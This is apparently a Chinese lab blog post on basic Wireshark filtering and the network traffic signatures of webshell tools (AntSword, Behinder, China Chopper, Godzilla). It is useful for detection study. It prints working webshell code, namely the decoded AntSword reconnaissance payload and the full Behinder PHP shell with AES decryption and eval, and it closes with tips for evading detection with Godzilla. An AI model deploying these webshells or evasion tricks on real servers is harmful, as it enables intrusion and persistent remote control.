wireshark简单使用&常见webshell管理工具的流量分析

实验环境

kail:192.168.15.137

win10:192.168.15.183

win11:192.168.15.1

wireshark的抓包方法

1.设置接口(选择捕获→选项)

image 69 - wireshark简单使用&常见webshell管理工具的流量分析
image 70 - wireshark简单使用&常见webshell管理工具的流量分析

由于本次环境是在虚拟机环境中 所以我选择的是VMware 8

选取接口完成后 点击开始即可

抓取界面如下

image 71 - wireshark简单使用&常见webshell管理工具的流量分析

win10打开phpstudy 使用win11访问

image 72 - wireshark简单使用&常见webshell管理工具的流量分析

通过第一关上传一个php一句话木马上去 木马内容如下

image 73 - wireshark简单使用&常见webshell管理工具的流量分析

这里先说说wireshark的一些常见的过滤命令(在Filter框中输入)

查找目的ip为192.168.15.183的包:ip.dst==192.168.15.183

查找源ip为192.168.15.83的包:ip.src==192.168.15.183

端口过滤 过滤80端口:tcp.port==80 过滤目的端口为80的命令:tcp.dstport==80 过滤源端口为80的命令:ip.srtport==80

协议过滤:直接在FILter框中输入协议名称 如:HTTP 含义就是过滤http协议

http请求包过滤:过滤GET包:http.request.method=="GET",过滤POST包:http.request.method=="POST"

连接符:and 用来过滤多种条件 如过滤 目的ip为192.168.15.183和HTTP协议:ip.src=192.168.15.183 and http

首先执行下ping命令去ping win10

image 74 - wireshark简单使用&常见webshell管理工具的流量分析

回到wireshark 查找源ip为192.168.15.1和目的ip为192.168.15.183

ip.dst==192.168.15.183 and ip.src==192.168.15.1

image 75 - wireshark简单使用&常见webshell管理工具的流量分析

蚁剑

通过蚁剑执行一下whoami命令

image 76 - wireshark简单使用&常见webshell管理工具的流量分析
image 77 - wireshark简单使用&常见webshell管理工具的流量分析

右键追踪流

image 78 - wireshark简单使用&常见webshell管理工具的流量分析

由于写入的一句话木马是POST[‘cmd’],所以这里是post了一个cmd参数

image 4 - wireshark简单使用&常见webshell管理工具的流量分析

蚂蚁

image 79 - wireshark简单使用&常见webshell管理工具的流量分析

将cmd=后面的一些字符使用url解码

@ini_set("display_errors", "0");
(临时关闭PHP的错误显示功能)
@set_time_limit(0);
(设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。)
function asenc($out){
    return $out;
};
(设置一个asenc函数用来接收参数然后返回参数)
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "595fa0323f";
    echo @asenc($output);
    echo"da825";
}
(先用ob_get_contents得到缓冲区的数据。然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭。然后把接收到的缓冲区数据输出。)
ob_start();
(ob_start()是在服务器打开一个缓冲区来保存所有的输出.)
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
(try里面:

$_SERVER[“SCRIPT_FILENAME”]是获取当前执行脚本的绝对路径。
dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。)
    if($D=="")
		$D=dirname($_SERVER["PATH_TRANSLATED"]);
(如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。)
    $R="{$D}	";
(然后把获取到的$D加上TAB赋值给$R)
    if(substr($D,0,1)!="/"){
    	foreach(range("C","Z")as $L)
    	    if(is_dir("{$L}:"))
	        	$R.="{$L}:";
(然后下面的if:
       先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。
假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。)

    }else{
        $R.="/";
    }
    $R.="	";
(假如是linux的,就直接在后面加了个 “/” 。
然后又在$R后面加了个TAB。)
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
(function_exists:判断函数是否定义存在,这里就是判断"posix_getegid"是否存在,如果该函数存在就将该函数存在的信息赋值给$u,否则$u为空)
    $s=($u)?$u["name"]:@get_current_user();
(然后判断$ u是否为空,不为空就将键值name赋值给$s,否则就用get_current_user()函数获取当前php所有者的名称赋值给$s)
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
(使用php_uname函数获取有关运行的操作系统PHP的信息,并将其添加在$R后面,把上面获取到的$s也添加在$R后面,然后输出$R)
} catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
(出错了就返回错误信息)
asoutput();
die();
(最后结束)

蚁剑PHP类WebShell链接流量

对php中的某些代码没有加密,例如ini_set,set_time_limit。比较容易被识别

蚁剑ASP类WebShell

OnError ResumeNext,response等没有被加密,是明文的形式,比较容易识别

execute在蚁剑中被打断混淆了,变成了拼接形式Ex"&cHr(101)&"cute

蚁剑绕过特征流量

蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式

冰蝎3.0

冰蝎的webshell工作原理

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
  //这里如果接收到get请求的pass参数
{
    $key=substr(md5(uniqid(rand())),16);
  //生成16位的随机秘钥用md5加密
    $_SESSION['k']=$key;
  //将上方生成的KEY存储到SEESSION中
    print $key;
}
else
  //如果没接收到pass参数,利用存储的KEY进行解密
{
    $key=$_SESSION['k'];
  //接收执行的命令
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
    //使用oppenssl进行AES128加密(这里要注意他用的AES128解密的时候也需要用这个)
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
  //将解密后的$post以'|'分割为数组。
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
  //创建C类,利用__construct中的eval来执行解密后的值
	@new C($params);
}?>

使用冰蝎连接webshell执行whoami命令

image 80 - wireshark简单使用&常见webshell管理工具的流量分析

抓包

image 81 - wireshark简单使用&常见webshell管理工具的流量分析

追踪流

image 82 - wireshark简单使用&常见webshell管理工具的流量分析

冰蝎的流量特征有如下的特征

1.Content-Type: application/octet-stream

2.user-Agent

内置的16个ua:

(1).Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
(2).Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
(3).Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50
(4).Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)
(5).Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
(6).Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)
(7).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
(8).Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
(9).Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
(10).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
(11).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
(12).Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
(13).Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
(14).Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201
(15).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201
(16).Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

3.Content-Length:257-15620-8803-88035464,5484。

4.header:

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Pragma: no-cache

5.在cookie中会出现两个PHPsession

冰蝎2.x

1.加密所用密钥是长度为16的随机字符串,小写字母+数字组成。密钥传递阶段,密钥存在于Response Body中。

request

GET /hackable/uploads/shell.php?pass=969 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Host: 127.0.0.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

response

HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 07:13:19 GMT
Server: Apache/2.4.25 (Debian)
Set-Cookie: PHPSESSID=u22ou8i880vqihp494171l8o52; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

c2b8bddd91e9f93c

2.Accept

Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2

3.UserAgent字段和3.0一样16个随机

(2).Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
(3).Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50
(4).Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)
(5).Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
(6).Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)
(7).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
(8).Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
(9).Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
(10).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
(11).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
(12).Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
(13).Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
(14).Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201
(15).Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201
(16).Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

4.长连接:Connection: Keep-Alive

解密流量

冰蝎解密过程 利用返回的密钥先res解密然后在使用base64解密

菜刀(2016版本)

使用菜刀连接一个webshell

image 89 - wireshark简单使用&常见webshell管理工具的流量分析

wireshark获取流量(ip.dst==192.168.15.183 and ip.src==192.168.15.1)

image 90 - wireshark简单使用&常见webshell管理工具的流量分析

追踪流

image 91 - wireshark简单使用&常见webshell管理工具的流量分析

菜刀流量特点

php 流量特征

1.数据明文传输,行为特征明显

2.eval执行php代码

3.base64_decode设置编码方式

jsp 流量特征

流量的格式 i=A&z0=…

ASP流量特征

  1. excute
  2. OnError ResumeNext
  3. Response.Write和Response.End

哥斯拉

哥斯拉具有6种加密和6种脚本后缀

如有需求 哥斯拉还可以更改请求配置还可以追加数据,这就导致哥斯拉基本上在流量层面的检测困难很大

image 9 - wireshark简单使用&常见webshell管理工具的流量分析

使用哥斯拉生成一个webshell上传到服务器进行连接

image 6 - wireshark简单使用&常见webshell管理工具的流量分析

哥斯拉避免被查杀技巧:

1.不使用默认密码(pass)

2.修改ua头

3.填充垃圾数据(post的左右)

木马与免杀初探

上一篇

msfvenom编码免杀

下一篇
评论
发表评论 说点什么
还没有评论
186